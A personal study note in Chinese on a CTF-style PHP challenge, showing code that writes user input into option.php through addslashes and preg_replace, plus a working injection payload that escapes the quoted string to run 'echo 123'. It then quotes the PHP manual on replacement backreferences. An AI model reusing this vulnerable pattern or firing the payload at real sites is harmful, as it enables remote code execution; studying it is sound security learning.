

preg-replace 一些奇葩的性质

笔记本： 学习记录

创建时间： 2017/2/27 0:19

更新时间： 2017/3/1 17:08

作者： 546325574@qq.com

p牛小蜜圈的一题

```
DbBackupDaoMySQLImpl.java x web.xml x user_list.jsp x option.php x 1.php — test/tmp x 1.php — ctf\
1 <?php
2 $str = addslashes($_GET['option']);
3 var_dump($str);
4 echo '<br>';
5 $file = file_get_contents('./xxxxx/option.php');
6 var_dump($file);
7 $file = preg_replace('|\\$option=\\'.*\\'|', "\\$option='$str'", $file);
8 file_put_contents('xxxxx/option.php', $file);
```

D:\phpstudy\www\www\test\tmp\xxxxx\option.php (jspxcms-7.0.1-release-src) -

```
DbBackupDaoMySQLImpl.java x web.xml x user_list.jsp x option.php x 1.
1 <?php
2 $option='test';
3 ?>
```

+++++

我测试时候是这样的

```
view-source:127.0.0.1/www/test/tmp/1.php?option=$12%27\%27;echo%20123;%23
1 string(40) "<?php
2 $option='\\'\\';echo 123;#";
3
4 ?>"
5
```

但是其实原理有点不清楚。

+++++

查看preg_replace函数。

<http://php.net/manual/zh/function.preg-replace.php>

(PHP 4, PHP 5, PHP 7)

preg_replace — 执行一个正则表达式的搜索和替换

说明

```
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
```

搜索subject中匹配pattern的部分，以replacement进行替换。

replacement

用于替换的字符串或字符串数组。如果这个参数是一个字符串，并且pattern是一个数组，那么所有的模式都使用这个字符串进行替换。如果pattern和replacement都是数组，每个pattern使用replacement中对应的元素进行替换。如果replacement中的元素比pattern中的少，多出来的pattern使用空字符串进行替换。

replacement中可以包含后向引用\1或(PHP 4.0.4以上可用)\$n，语法上首选后者。每个这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。n可以是0-99，\0和\$0代表完整的模式匹配文本。捕获子组的序号计数方式为：代表捕获子组的左括号从左到右，从1开始数。如果要在replacement中使用反斜线，必须使用4个“\\”，译注：因为这首先是php的字符串，经过转义后，是两个，再经过正则表达式引擎后才被认为是一个原文反斜线。

当在替换模式下工作并且后向引用后面紧跟着需要是另外一个数字(比如：在一个匹配模式后紧接着增加一个原文数字)，不能使用\1这样的语法来描述后向引用。比如，\11将会使preg_replace()不能理解你希望的是一个\1后向引用紧跟一个原文1，还是一个\11后向引用后面不跟任何东西。这种情况下解决方案是使用\\${1}1。这创建了一个独立的\$1后向引用，一个独立的原文1。

当使用被弃用的e修饰符时，这个函数会转义一些字符(即：'、"、\和NULL)然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误(比如：'strlen(\1)+strlen("\$2")')。确保符合PHP的字符串语法，并且符合eval语法。因为在完成替换后，引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

所以p牛小蜜圈里面除了该隐大牛的解法1，其他方法其实参考以上就有答案了。之前解出来也是瞎猫碰到死耗子。搞安全的，还是不能只有表面功夫，还得继续深入研究。结合php c源码分析等。